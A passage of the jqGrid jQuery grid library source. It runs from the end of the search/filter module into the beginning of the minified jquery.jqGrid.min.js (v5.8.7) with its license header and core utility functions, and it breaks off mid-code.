$($t).trigger("reloadGrid",[{page:1}]); } if(p.closeAfterSearch) { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID($t.p.id),jqm:p.jqModal,onClose: p.onClose}); } return false; }); $("#"+fid+"_reset").on('click', function(){ var sdata={}, fl = $("#"+fid); $t.p.search = false; $t.p.resetsearch = true; if(p.multipleSearch===false) { sdata[p.sField] = sdata[p.sValue] = sdata[p.sOper] = ""; } else { sdata[p.sFilter] = ""; } fl[0].resetFilter(); if(found) { $(".ui-template", fil).val("default"); } if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('searchGrid') && $t.p.searchModules.searchGrid !== false ) { $t.p.searchModules.searchGrid = null; $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); $t.p.search = true; } else { $.extend($t.p.postData,sdata); } mustReload = $($t).triggerHandler("jqGridFilterReset"); if(mustReload === undefined) { mustReload = true; } if(mustReload && $.jgrid.isFunction(p.onReset) ) { mustReload = p.onReset.call($t); } if(mustReload !== false) { $($t).trigger("reloadGrid",[{page:1}]); } if (p.closeAfterReset) { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID($t.p.id),jqm:p.jqModal,onClose: p.onClose}); } return false; }); showFilter($("#"+fid)); $(".fm-button:not(."+common.disabled+")",fil).hover( function(){$(this).addClass(common.hover);}, function(){$(this).removeClass(common.hover);} ); } }); }, filterInput : function( val, p) { p = $.extend(true, { defaultSearch : 'cn', groupOp : 'OR', searchAll : false, beforeSearch : null, afterSearch : null, selectFirstFound : false, firstFoundTimeout : 30 }, p || {}); return this.each(function(){ var $t = this; if(!$t.grid) {return;} var nm, sop,ruleGroup = "{\"groupOp\":\"" + p.groupOp + "\",\"rules\":[", gi=0, so, searchable; val +=""; //if($t.p.datatype !== 'local') { return; } $.each($t.p.colModel,function(){ nm = this.index || this.name; sop = this.searchoptions || {}; so = p.defaultSearch ? p.defaultSearch : (sop.sopt) ? sop.sopt[0] : p.defaultSearch; searchable = this.search === undefined ? true : this.search; if ((searchable || p.searchAll) && val !== "") { if (gi > 0) {ruleGroup += ",";} ruleGroup += "{\"field\":\"" + nm + "\","; ruleGroup += "\"op\":\"" + so + "\","; ruleGroup += "\"data\":\"" + val.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; gi++; } }); ruleGroup += "]}"; if($t.p.mergeSearch === true && $t.p.searchModules.hasOwnProperty('filterInput') && $t.p.searchModules.filterInput !== false ) { if(gi > 0) { $t.p.searchModules.filterInput = ruleGroup; } else { $t.p.searchModules.filterInput = null; } $.extend($t.p.postData,{filters: $.jgrid.splitSearch($t.p.searchModules)}); } else { $.extend($t.p.postData,{filters:ruleGroup}); } $.each(['searchField', 'searchString', 'searchOper'], function(i, n){ if($t.p.postData.hasOwnProperty(n)) { delete $t.p.postData[n];} }); var bsr = $($t).triggerHandler("jqGridFilterInputBeforeSearch") === 'stop' ? true : false; if(!bsr && $.jgrid.isFunction(p.beforeSearch)){bsr = p.beforeSearch.call($t);} if(!bsr) { $($t).jqGrid("setGridParam",{search:true}).trigger("reloadGrid",[{page:1}]); } if(p.selectFirstFound ) { setTimeout(function(){ var row = $($t).jqGrid('getGridRowByIndex', 1); $($t).jqGrid("setSelection", row.id, false); }, p.firstFoundTimeout); } $($t).triggerHandler("jqGridFilterInputAfterSearch"); if($.jgrid.isFunction(p.afterSearch)){p.afterSearch.call($t);} }); }, autoSelect : function (o) { o = $.extend(true,{ field : "", direction : "asc", src_date : "Y-m-d", allValues : "All", count_item : true, create_value : true }, o || {} ); return this.each(function() { var $t = this, item, sdata=""; if( o.field && $t.p.data && Array.isArray( $t.p.data )) { var query, res, s_cnt, tmp = [], cm, result, i; try { query = $.jgrid.from.call($t, $t.p.data); result = query.groupBy( o.field, o.direction, "text", o.src_date); i = result.length; } catch(e) { } if(result && result.length) { res = $("#gsh_"+$t.p.id+"_"+o.field).find("td.ui-search-input > select"); i = result.length; if(o.allValues) { sdata = "<option value=''>"+ o.allValues +"</option>"; tmp.push(":" + o.allValues); } while(i--) { item = result[i]; s_cnt = o.count_item ? " (" +item.items.length+")" : ""; sdata += "<option value='"+item.unique+"'>"+ item.unique + s_cnt+"</option>"; tmp.push(item.unique+":"+item.unique + s_cnt); } res.append(sdata); res.on('change',function(){ $t.triggerToolbar(); }); if( o.create_value ) { cm = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', o.field, false); if( !$.isEmptyObject( cm ) ) { if( cm.searchoptions ) { $.extend(cm.searchoptions, {value: tmp.join(";")}); } else { cm.searchoptions = {}; cm.searchoptions.value = tmp.join(";"); } } } } } }); } }); //module end })); jquery.jqGrid.min.js000064400001705627151677266200010460 0ustar00/** * * @license Guriddo jqGrid JS - v5.8.7 - 2024-06-01 * Copyright(c) 2008, Tony Tomov, tony@trirand.com * * License: http://guriddo.net/?page_id=103334 */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)}(function(Ye){"use strict";Ye.jgrid=Ye.jgrid||{},Ye.jgrid.hasOwnProperty("defaults")||(Ye.jgrid.defaults={}),Ye.extend(Ye.jgrid,{version:"5.8.7",isNull:function(e,t){return t&&!0===t?null===e:null==e},trim:function(e){return"string"==typeof e?e.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,""):e},isFunction:function(e){return"function"==typeof e},type:function(e,t){return t?null===e?"[object Null]":Object.prototype.toString.call(e):null==e?(e+"").toLowerCase():"generatorfunction"===(t=Object.prototype.toString.call(e).slice(8,-1).toLowerCase())?"function":t.match(/^(array|bigint|date|error|function|generator|regexp|symbol)$/)?t:"object"==typeof e||"function"==typeof e?"object":typeof e},floatNum:function(e,t){return void 0===t&&(t=0),e=parseFloat(e),isNaN(e)?t:e},htmlDecode:function(e){return e&&(" "===e||" "===e||1===e.length&&160===e.charCodeAt(0))?"":e&&String(e).replace(/>/g,">").replace(/</g,"<").replace(/"/g,'"').replace(/&/g,"&")},htmlEncode:function(e){return e&&String(e).replace(/&/g,"&").replace(/\"/g,""").replace(/</g,"<").replace(/>/g,">")},template:function(e){var o,a=Ye.makeArray(arguments).slice(1),n=a.length;return(e=Ye.jgrid.isNull(e)?"":e).replace(/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g,function(e,t){if(!isNaN(parseInt(t,10)))return a[parseInt(t,10)];for(o=0;o<n;o++)if(Array.isArray(a[o])){for(var r=a[o],i=r.length;i--;)if(t===r[i].nm)return r[i].v}else if("object"==typeof a[o]&&a[o][t])return Ye.jgrid.isFunction(a[o][t])?a[o][t]():a[o][t]})},msie:function(){return 0<Ye.jgrid.msiever()},msiever:function(){var e=0,t=window.navigator.userAgent,r=t.indexOf("MSIE");return 0<r?e=parseInt(t.substring(r+5,t.indexOf(".",r))):navigator.userAgent.match(/Trident\/7\./)&&(e=11),e},getCellIndex:function(e){e=Ye(e);return e.is("tr")?-1:(e=(e.is("td")||e.is("th")?e:e.closest("td,th"))[0],Ye.jgrid.msie()?Ye.inArray(e,e.parentNode.cells):e.cellIndex)},stripHtml:function(e){return(e=String(e))&&((e=e.replace(/<("[^"]*"|'[^']*'|[^'">])*>/gi,""))&&" "!==e&&" "!==e?e.replace(/\"/g,"'"):"")},stripPref:function(e,t){var r=Ye.jgrid.type(e);return t="string"!==r&&"number"!==r?t:""!==(e=String(e))?String(t).replace(String(e),""):t},stripScript:function(e){return e.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi," ")},useJSON:!0,runCode:function(e){return Function('"use strict";return ('+e+")")()},parse:function(e){e=(e="/*"===(e="while(1);"===(e=e).slice(0,9)?e.slice(9):e).slice(0,2)?e.slice(2,e.length-2):e)||"{}";return!0===Ye.jgrid.useJSON&&"object"==typeof JSON&&"function"==typeof JSON.parse?JSON.parse(e):Ye.jgrid.runCode(e)},dateToOADate:function(e){var t=new Date(e);return Math.round((t.setHours(0,0,0,0)-new Date(1899,11,30))/864e5)+(Math.abs((e-t)%864e5)/864e5).toFixed(10).slice(1)},parseDate:function(e,t,r,i){function o(e,t){for(e=String(e),t=parseInt(t,10)||2;e.length<t;)e="0"+e;return e}function a(e,t){return 0===e?12===t&&(t=0):12!==t&&(t+=12),t}var n,l,s,d=new RegExp("^/Date\\((([-+])?[0-9]+)(([-+])([0-9]{2})([0-9]{2}))?\\)/$"),d="string"==typeof t?t.match(d):null,p={m:1,d:1,y:1970,h:0,i:0,s:0,u:0},c=0,u=0;if(void 0===(i=void 0===(i=void 0===i?Ye.jgrid.getRegional(this,"formatter.date"):i)?{}:i).parseRe&&(i.parseRe=/[#%\\\/:_;.,\t\s-]/),void 0===i.AmPm&&(i.AmPm=["am","pm","AM","PM"]),i.masks&&i.masks.hasOwnProperty(e)&&(e=i.masks[e]),t&&!Ye.jgrid.isNull(t))if(isNaN(+t)||"u"!==String(e).toLowerCase())if(t.constructor===Date)c=t,i.validate=!1;else if(null!==d)c=new Date(parseInt(d[1],10)),d[3]&&(u=60*Number(d[5])+Number(d[6]),u=(u*="-"===d[4]?1:-1)-c.getTimezoneOffset(),c.setTime(Number(Number(c)+60*u*1e3))),i.validate=!1;else{for("ISO8601Long"===i.srcformat&&"Z"===t.charAt(t.length-1)&&(u-=(new Date).getTimezoneOffset()),t=String(t).replace(/\T/g,"#").replace(/\t/,"%").split(i.parseRe),l=0,s=(e=e.replace(/\T/g,"#").replace(/\t/,"%").split(i.parseRe)).length;l<s;l++){switch(e[l]){case"M":-1!==(n=Ye.inArray(t[l],i.monthNames))&&n<12&&(t[l]=n+1,p.m=t[l]);break;case"F":-1!==(n=Ye.inArray(t[l],i.monthNames,12))&&11<n&&(t[l]=n+1-12,p.m=t[l]);break;case"n":e[l]="m";break;case"j":e[l]="d";break;case"a":-1!==(n=Ye.inArray(t[l],i.AmPm))&&n<2&&t[l]===i.AmPm[n]&&(t[l]=n,p.h=a(t[l],p.h));break;case"A":-1!==(n=Ye.inArray(t[l],i.AmPm))&&1<n&&t[l]===i.AmPm[n]&&(t[l]=n-2,p.h=a(t[l],p.h));break;case"g":p.h=parseInt(t[l],10)}void 0!==t[l]&&(p[e[l].toLowerCase()]=parseInt(t[l],10))}if(p.f&&(p.m=p.f),0===p.m&&0===p.y&&0===p.d)return" ";p.m=parseInt(p.m,10)-1;d=p.y;70<=d&&d<=99?p.y=1900+p.y:0<=d&&d<=69&&(p.y=2e3+p.y),c=new Date(p.y,p.m,p.d,p.h,p.i,p.s,p.u),0!==u&&c.setTime(Number(Number(c)+60*u*1e3))}else c=new Date(1e3*parseFloat(t)),i.validate=!1;else c=new Date(p.y,p.m,p.d,p.h,p.i,p.s,p.u);if(i&&!0===i.validate)return d=new Date(p.y,+p.m,p.d,p.h,p.i),Boolean(+d)&&d.getDate()===p.d&&d.getHours()===p.h&&d.getMinutes()===p.i;if(i.userLocalTime&&0===u&&0!==(u-=(new Date).getTimezoneOffset())&&c.setTime(Number(Number(c)+60*u*1e3)),void 0===r)return c;r=i.masks&&i.masks.hasOwnProperty(r)?i.masks[r]:r||"Y-m-d";var d=c.getHours(),u=c.getMinutes(),h=c.getDate(),g=c.getMonth()+1,f=c.getTimezoneOffset(),m=c.getSeconds(),v=c.getMilliseconds(),j=c.getDay(),b=c.getFullYear(),y=(j+6)%7+1,w=(new Date(b,g-1,h)-new Date(b,0,1))/864e5,x={d:o(h),D:i.dayNames[j],j:h,l:i.dayNames[j+7],N:y,S:i.S(h),w:j,z:w,W:y<5?Math.floor((w+y-1)/7)+1:Math.floor((w+y-1)/7)||((new Date(b-1,0,1).getDay()+6)%7<4?53:52),F:i.monthNames[g-1+12],m:o(g),M:i.monthNames[g-1],n:g,t:"?",L:"?",o:"?",Y:b,y:String(b).substring(2),a:d<12?i.AmPm[0]:i.AmPm[1],A:d<12?i.AmPm[2]:i.AmPm[3],B:"?",g:d%12||12,G:d,h:o(d%12||12),H:o(d),i:o(u),s:o(m),u:v,e:"?",I:"?",O:(0<f?"-":"+")+o(100*Math.floor(Math.abs(f)/60)+Math.abs(f)%60,4),P:(0<f?"-":"+")+(h=o(100*Math.floor(Math.abs(f)/60)+Math.abs(f)%60,4),j=-2,w=":",(h=String(h)).slice(0,j)+w+h.slice(j)),T:(String(c).match(/\b(?:[PMCEA][SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|Daylight|Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g)||[""]).pop().replace(/[^-+\dA-Z]/g,""),Z:"?",c:"?",r:"?",U:Math.floor(c/1e3)};return r.replace(/\\.|[dDjlNSwzWFmMntLoYyaABgGhHisueIOPTZcrU]/g,function(e){return x.hasOwnProperty(e)?x[e]:e.substring(1)})},jqID:function(e){return String(e).replace(/[!"#$%&'()*+,.\/:; <=>?@\[\\\]\^`{|}~]/g,"\\$&")},guid:1,uidPref:"jqg",randId:function(e){return(e||Ye.jgrid.uidPref)+Ye.jgrid.guid++},getAccessor:function(e,t){var r,i,o=[];if("function"==typeof t)return t(e);if(void 0===(r=e[t]))try{if(i=(o="string"==typeof t?t.split("."):o).length)for(r=e;r&&i--;)r=r[o.shift()]}catch(e){}return r},getXmlData:function(e,t,r){var i="string"==typeof t?t.match(/^(.*)\[(\w+)\]$/):null;return"function"==typeof t?t(e):i&&i[2]?(i[1]?Ye(i[1],e):Ye(e)).attr(i[2]):(i=Ye(t,e),r?i:0<i.length?Ye(i).text():void 0)},cellWidth:function(){var e=Ye("<div class='ui-jqgrid' style='left:10000px'><table class='ui-jqgrid-btable ui-common-table' style='width:5px;'><tr class='jqgrow'><td style='width:5px;display:block;'></td></tr></table></div>"),t=e.appendTo("body").find("td").width();return e.remove(),.1<Math.abs(t-5)},isLocalStorage:function(){try{return"localStorage"in window&&null!==window.localStorage}catch(e){return!1}},getRegional:function(e,t,r){var i;return void 0!==r?r:void 0===(i=e.p&&e.p.regional&&Ye.jgrid.regional?Ye.jgrid.getAccessor(Ye.jgrid.regional[e.p.regional]||{},t):i)?Ye.jgrid.getAccessor(Ye.jgrid,t):i},isMobile:function(){try{return/Android|webOS|iPhone|iPad|iPod|pocket|psp|kindle|avantgo|blazer|midori|Tablet|Palm|maemo|plucker|phone|BlackBerry|symbian|IEMobile|mobile|ZuneWP7|Windows Phone|Opera Mini/i.test(navigator.userAgent)?!0:!1}catch(e){return!1}},cell_width:!0,scrollbarWidth:function(){var e=Ye('<div style="width:50px;height:50px;overflow:hidden;position:absolute;top:-200px;left:-200px;"><div style="height:100px;"></div>'),t=(Ye("body").append(e),Ye("div",e).innerWidth()),r=(e.css("overflow-y","scroll"),Ye("div",e).innerWidth());return Ye(e).remove(),t-r<0?18:t-r},scrollbarHeight:function(){var e=Ye('<div style="width:50px;overflow-x:scroll;position:absolute;top:-200px;left:-200px;"<span>1234567890</span></div>'),t=(Ye("body").append(e),Ye(e).outerHeight()),r=Ye(e)[0].scrollHeight;return Ye(e).remove(),t-r<0?18:t-r},ajaxOptions:{},from:function(e){var v=this;return new function(e,t){"string"==typeof e&&(e=Ye.data(e));var g=this,o=e,f=!0,r=!1,i=t,m=/[\$,%]/g,a=null,n=null,l=0,s=!1,d="",u=[],p=!0;if("object"==typeof e&&e.push)return 0<e.length&&(p="object"==typeof e[0]),this._hasData=function(){return null!==o&&0!==o.length},this._getStr=function(e){var t=[];return r&&t.push("$.jgrid.trim("),t.push("String("+e+")"),r&&t.push(")"),f||t.push(".toLowerCase()"),t.join("")},this._strComp=function(e){return"string"==typeof e?".toString()":""},this._group=function(e,t){return{field:e.toString(),unique:t,items:[]}},this._toStr=function(e){return e=(e=r?Ye.jgrid.trim(e):e).toString().replace(/\\/g,"\\\\").replace(/\"/g,'\\"'),f?e:e.toLowerCase()},this._funcLoop=function(r){var i=[];return Ye.each(o,function(e,t){i.push(r(t))}),i},this._append=function(e){var t;for(null===i?i="":i+=""===d?" && ":d,t=0;t<l;t++)i+="(";s&&(i+="!"),i+="("+e+")",s=!1,d="",l=0},this._setCommand=function(e,t){a=e,n=t},this._resetNegate=function(){s=!1},this._repeatCommand=function(e,t){return null===a?g:null!==e&&null!==t?a(e,t):null!==n&&p?a(n,e):a(e)},this._equals=function(e,t){return 0===g._compare(e,t,1)},this._compare=function(e,t,r){var i=Object.prototype.toString;return void 0===r&&(r=1),void 0===t&&(t=null),null===(e=void 0===e?null:e)&&null===t?0:null===e&&null!==t?1:null!==e&&null===t?-1:"[object Date]"===i.call(e)&&"[object Date]"===i.call(t)||"number"==typeof e&&"number"==typeof t?t<e?r:e<t?-r:0:(i=String(e).localeCompare(String(t)))<0?-r:0<i?r:0},this._performSort=function(){0!==u.length&&(o=g._doSort(o,0))},this._doSort=function(e,t){var r=u[t].by,i=u[t].dir,o=u[t].type,a=u[t].datefmt,n=u[t].sfunc;if(t===u.length-1)return g._getOrder(e,r,i,o,a,n);t++;for(var l,s,d=g._getGroup(e,r,i,o,a),p=[],c=0;c<d.length;c++)for(s=g._doSort(d[c].items,t),l=0;l<s.length;l++)p.push(s[l]);return p},this._getOrder=function(e,r,t,i,o,a){for(var n,l,s,d,p=[],c=[],u="a"===t?1:-1,h=(d="float"===(i=void 0===i?"text":i)||"number"===i||"currency"===i||"numeric"===i?function(e){e=parseFloat(String(e).replace(m,""));return isNaN(e)?Number.NEGATIVE_INFINITY:e}:"int"===i||"integer"===i?function(e){return e?parseFloat(String(e).replace(m,"")):Number.NEGATIVE_INFINITY}:"date"===i||"datetime"===i?function(e){return Ye.jgrid.parseDate.call(v,o,e).getTime()}:Ye.jgrid.isFunction(i)?i:function(e){return e=e?Ye.jgrid.trim(String(e)):"",f?e:e.toLowerCase()},Ye.each(e,function(e,t){l=""!==r?Ye.jgrid.getAccessor(t,r):t,l=d(l=void 0===l?"":l,t),c.push({vSort:l,index:e})}),Ye.jgrid.isFunction(a)?c.sort(function(e,t){return a.call(this,e.vSort,t.vSort,u,e,t)}):c.sort(function(e,t){return g._compare(e.vSort,t.vSort,u)}),s=0,e.length);s<h;)n=c[s].index,p.push(e[n]),s++;return p},this._getGroup=function(e,r,t,i,o){var a,n=[],l=null,s=null;return Ye.each(g._getOrder(e,r,t,i,o),function(e,t){a=Ye.jgrid.getAccessor(t,r),Ye.jgrid.isNull(a)&&(a=""),g._equals(s,a)||(s=a,null!==l&&n.push(l),l=g._group(r,a)),l.items.push(t)}),null!==l&&n.push(l),n},this.ignoreCase=function(){return f=!1,g},this.useCase=function(){return f=!0,g},this.trim=function(){return r=!0,g},this.noTrim=function(){return r=!1,g},this.execute=function(){var e=i,t=[];return null!==e&&(Ye.each(o,function(){Ye.jgrid.runCode.call(v,e.replace(/this/g,JSON.stringify(this)))&&t.push(this)}),o=t),g},this.data=function(){return o},this.select=function(r){var i;return g._performSort(),g._hasData()?(g.execute(),Ye.jgrid.isFunction(r)?(i=[],Ye.each(o,function(e,t){i.push(r(t))}),i):o):[]},this.hasMatch=function(){return!!g._hasData()&&(g.execute(),0<o.length)},this.andNot=function(e,t,r){return s=!s,g.and(e,t,r)},this.orNot=function(e,t,r){return s=!s,g.or(e,t,r)},this.not=function(e,t,r){return g.andNot(e,t,r)},this.and=function(e,t,r){return d=" && ",void 0===e?g:g._repeatCommand(e,t,r)},this.or=function(e,t,r){return d=" || ",void 0===e?g:g._repeatCommand(e,t,r)},this.orBegin=function(){return l++,g},this.orEnd=function(){return null!==i&&(i+=")"),g},this.isNot=function(e){return s=!s,g.is(e)},this.is=function(e){return g._append("this."+e),g._resetNegate(),g},this._compareValues=function(e,t,r,i,o){var a=p?"jQuery.jgrid.getAccessor(this,'"+t+"')":"this",n=r=void 0===r?null:r,l=void 0===o.stype?"text":o.stype;if(null!==r)switch(l){case"int":case"integer":a="parseInt("+a+",10)",n="parseInt("+(n=isNaN(Number(n))||""===n?Number.NEGATIVE_INFINITY:n)+",10)";break;case"float":case"number":case"numeric":n=String(n).replace(m,""),a="parseFloat("+a+")",n="parseFloat("+(n=isNaN(Number(n))||""===n?Number.NEGATIVE_INFINITY:Number(n))+")";break;case"date":case"datetime":n=String(Ye.jgrid.parseDate.call(v,o.srcfmt||"Y-m-d",n).getTime()),a='jQuery.jgrid.parseDate.call(jQuery("#'+Ye.jgrid.jqID(v.p.id)+'")[0],"'+o.srcfmt+'",'+a+").getTime()";break;default:a=g._getStr(a),n=g._getStr('"'+g._toStr(n)+'"')}return g._append(a+" "+i+" "+n),g._setCommand(e,t),g._resetNegate(),g},this.equals=function(e,t,r){return g._compareValues(g.equals,e,t,"==",r)},this.notEquals=function(e,t,r){return g._compareValues(g.equals,e,t,"!==",r)},this.isNull=function(e,t,r){return g._compareValues(g.equals,e,null,"===",r)},this.greater=function(e,t,r){return g._compareValues(g.greater,e,t,">",r)},this.less=function(e,t,r){return g._compareValues(g.less,e,t,"<",r)},this.greaterOrEquals=function(e,t,r){return g._compareValues(g.greaterOrEquals,e,t,">=",r)},this.lessOrEquals=function(e,t,r){return g._compareValues(g.lessOrEquals,e,t,"<=",r)},this.startsWith=function(e,t){return p?g._append(g._getStr("jQuery.jgrid.getAccessor(this,'"+e+"')")+".startsWith("+g._getStr('"'+g._toStr(t)+'"')+")"):g._append(g._getStr("this")+".startsWith("+g._getStr('"'+g._toStr(e)+'"')+")"),g._setCommand(g.startsWith,e),g._resetNegate(),g},this.endsWith=function(e,t){return p?g._append(g._getStr("jQuery.jgrid.getAccessor(this,'"+e+"')")+".endsWith("+g._getStr('"'+g._toStr(t)+'"')+")"):g._append(g._getStr("this")+".endsWith("+g._getStr('"'+g._toStr(e)+'"')+")"),g._setCommand(g.endsWith,e),g._resetNegate(),g},this.contains=function(e,t){return p?g._append(g._getStr("jQuery.jgrid.getAccessor(this,'"+e+"')")+'.indexOf("'+g._toStr(t)+'",0) > -1'):g._append(g._getStr("this")+'.indexOf("'+g._toStr(e)+'",0) > -1'),g._setCommand(g.contains,e),g._resetNegate(),g},this.user=function(e,t,r){var i='$("#'+v.p.id+'")[0]';return g._append(i+".p.customFilterDef."+e+".action.call("+i+' ,{rowItem: this, searchName:"'+t+'",searchValue:"'+r+'"})'),g._setCommand(g.user,t),g._resetNegate(),g},this.inData=function(e,t,r){t=void 0===t?"":g._getStr('"'+g._toStr(t)+'"');return p?g._append(t+".split(',').indexOf( jQuery.jgrid.getAccessor(this,'"+e+"') ) > -1"):g._append(t+".split(',').indexOf(this."+e+") > -1"),g._setCommand(g.inData,e),g._resetNegate(),g},this.groupBy=function(e,t,r,i){return g._hasData()?g._getGroup(o,e,t,r,i):null},this.orderBy=function(e,t,r,i,o){return t=Ye.jgrid.isNull(t)?"a":Ye.jgrid.trim(t.toString().toLowerCase()),Ye.jgrid.isNull(r)&&(r="text"),Ye.jgrid.isNull(i)&&(i="Y-m-d"),Ye.jgrid.isNull(o)&&(o=!1),u.push({by:e,dir:t="asc"!==(t="desc"!==t&&"descending"!==t?t:"d")&&"ascending"!==t?t:"a",type:r,datefmt:i,sfunc:o}),g},g;throw"data provides is not an array"}(e,null)},getMethod:function(e){return this.getAccessor(Ye.fn.jqGrid,e)},extend:function(e){Ye.extend(Ye.fn.jqGrid,e),this.no_legacy_api||Ye.fn.extend(e)},clearBeforeUnload:function(e){var t,r=Ye("#"+Ye.jgrid.jqID(e))[0];if(r.grid){t=r.grid,Ye.jgrid.isFunction(t.emptyRows)&&t.emptyRows.call(r,!0,!0),Ye(document).off("mouseup.jqGrid"+r.p.id),Ye(t.hDiv).off("mousemove"),Ye(r).off();for(var i=t.headers.length,o=["formatCol","sortData","updatepager","refreshIndex","setHeadCheckBox","constructTr","formatter","addXmlData","addJSONData","grid","p","addLocalData"],a=0;a<i;a++)t.headers[a].el=null;for(a in t)t.hasOwnProperty(a)&&(t[a]=null);for(a in r.p)r.p.hasOwnProperty(a)&&(r.p[a]=Array.isArray(r.p[a])?[]:null);for(i=o.length,a=0;a<i;a++)r.hasOwnProperty(o[a])&&(r[o[a]]=null,delete r[o[a]])}},gridUnload:function(e){var t,r,i,o;e&&(0===(e=Ye.jgrid.trim(e)).indexOf("#")&&(e=e.substring(1)),(t=Ye("#"+Ye.jgrid.jqID(e))[0]).grid)&&(r={id:Ye(t).attr("id"),cl:Ye(t).attr("class")},t.p.pager&&Ye(t.p.pager).off().empty().removeClass("ui-state-default ui-jqgrid-pager ui-corner-bottom"),(i=document.createElement("table")).className=r.cl,o=Ye.jgrid.jqID(t.id),Ye(i).removeClass("ui-jqgrid-btable ui-common-table").insertBefore("#gbox_"+o),1===Ye(t.p.pager).parents("#gbox_"+o).length&&Ye(t.p.pager).insertBefore("#gbox_"+o),Ye.jgrid.clearBeforeUnload(e),Ye("#gbox_"+o).remove(),Ye(i).attr({id:r.id}),Ye("#alertmod_"+Ye.jgrid.jqID(e)).remove())},gridDestroy:function(e){if(e){0===(e=Ye.jgrid.trim(e)).indexOf("#")&&(e=e.substring(1));var t=Ye("#"+Ye.jgrid.jqID(e))[0];if(t&&t.grid){t.p.pager&&Ye(t.p.pager).remove();try{Ye.jgrid.clearBeforeUnload(e),Ye("#gbox_"+Ye.jgrid.jqID(e)).remove()}catch(e){}}}},isElementInViewport:function(e){e=e.getBoundingClientRect();return 0<=e.left&&e.right<=(window.innerWidth||document.documentElement.clientWidth)},getTextWidth:function(e,t){var r;return jQuery._cacheCanvas||(r=document.createElement("canvas"),document.createDocumentFragment().appendChild(r),jQuery._cacheCanvas=r.getContext("2d")),t&&(jQuery._cacheCanvas.font=t),jQuery._cacheCanvas.measureText(Ye.jgrid.stripHtml(e)).width},getFont:function(e){e=window.getComputedStyle(e,null);return e.getPropertyValue("font-style")+" "+e.getPropertyValue("font-variant")+" "+e.getPropertyValue("font-weight")+" "+e.getPropertyValue("font-size")+" "+e.getPropertyValue("font-family")},setSelNavIndex:function(r,i){var e=Ye(".ui-pg-button",r.p.pager);Ye.each(e,function(e,t){if(i===t)return r.p.navIndex=e,!1}),Ye(i).attr("tabindex","0")},splitSearch:function(e){var t,r='{"groupOp":"'+e.mergeOper+'","groups":[';for(t in e)e.hasOwnProperty(t)&&"mergeOper"!==t&&(r+=null!==e[t]&&""!==e[t]&&"boolean"!=typeof e[t]?e[t]+",":"",0);return-1===r.indexOf("[",r.length-"[".length)&&(r=r.slice(0,-1)),r+="]}"},getElemByAttrVal:function(e,t,r,i){"boolean"!=typeof i&&(i=!1);var o=Array.isArray(e)?e.length:0,a=0,n={},l=-1;if(0<o)for(;a<o;){if(e[a][t]===r){n=e[a],l=a;break}a++}return i?l:n},searchColOnEnter:function(e,t,r,i){var o,n=Ye("#"+e)[0];if(n.grid){var l,s,d=n.p.searchColOptions,e=!1;try{s=r.value}catch(e){s=""}if(n.p.frozenColumns&&(Ye(n.grid.bDiv).find(".jqgrid-searchcol >input#jqs_"+n.p.id+"_"+t).focus().val(s),e=!0),!n.p._ftsc){for(n.p._ftsc=!0,n.p._fthc=[],n.p._avc=[],o=0;o<n.p.colModel.length;o++)(n.p.colModel[o].hidden?n.p._fthc:n.p._avc).push(n.p.colModel[o].name);n.p._results={}}var a=[...new Set([...d._cnth,...d.visibleColumns])],p=new Set([...a,...n.p._fthc]);if(Ye(n).jqGrid("hideCol",n.p._avc.filter(function(e){return!a.includes(e)})),n.grid&&null==t)for(var c in n.p._results)n.p._results.hasOwnProperty(c)&&(s=n.p._results[c].v,g(c));else!n.grid||null===t&&void 0===t||g(t);var u=[],h=0;for(o in n.p._results)"OR"===d.searchOp.toUpperCase()?u=[...new Set([...u,...n.p._results[o].r])]:"AND"===d.searchOp.toUpperCase()&&(u=0===h?n.p._results[o].r:u.filter(function(e){return n.p._results[o].r.includes(e)}),h++);r=(u=Ye.isEmptyObject(n.p._results)?n.p._avc:u).concat(a);Ye(n).jqGrid("showCol",r),n.p.frozenColumns&&Ye(n.grid.fbDiv).find(".jqgrid-searchcol >input#jqs_"+n.p.id+"_"+t).val("").focus().val(s),n.p.frozenRows&&(e&&(n.p.frozenColumns=!1),Ye(n).trigger("jqGridAfterGridComplete.setFrozenRows"),e)&&(n.p.frozenColumns=!0)}function g(e){var t,r=Ye(n).jqGrid("getRowData",e),i=[];if(r&&s){for(var o in r)if(!p.has(o)&&r.hasOwnProperty(o)){if(t=s,d.useCase||(r[o]=r[o].toLowerCase(),t=s.toLowerCase()),d.aOperands.includes(d.operand))switch(d.operand){case"cn":l=-1!==r[o].search(t);break;case"eq":l=r[o]===t;break;case"ne":l=r[o]!==t;break;case"bw":l=r[o].substring(0,t.length)===t;break;case"ew":var a=r[o].length;l=r[o].substring(a-t.length,a)===t}l&&i.push(o)}n.p._results[e]={v:s,r:i}}else r&&""===s&&n.p._results[e]&&delete n.p._results[e]}},searchColOnKey:function(e,t,r,i){switch(i.key){case"ArrowRight":case"ArrowDown":case"ArrowUp":case"ArrowLeft":case"PageUp":case"PageDown":case"Alt":case"Control":case"Tab":case"Escape":case"Shift":return}setTimeout(function(){Ye.jgrid.searchColOnEnter(e,t,r,i)},50)},comboGrid:function(l,s,e){var t=Ye.jgrid.randId("combo"),r="div"+t,i=e.datatype,d=(e.datatype="local",e.onSelectRow=function(e){var e=Ye("#"+t).jqGrid("getRowData",e);Ye.isEmptyObject(e)||(e=Ye.jgrid.isFunction(s.return_fld)?s.return_fld.call(this,e):e[s.return_fld],Ye("#"+l).val(e),Ye("#"+r).hide())},e.data=[],e.scrollrows=!0,Ye("body").append("<div id='"+r+"'><table id='"+t+"'></table>"),e.pager&&Ye("body").append("<div 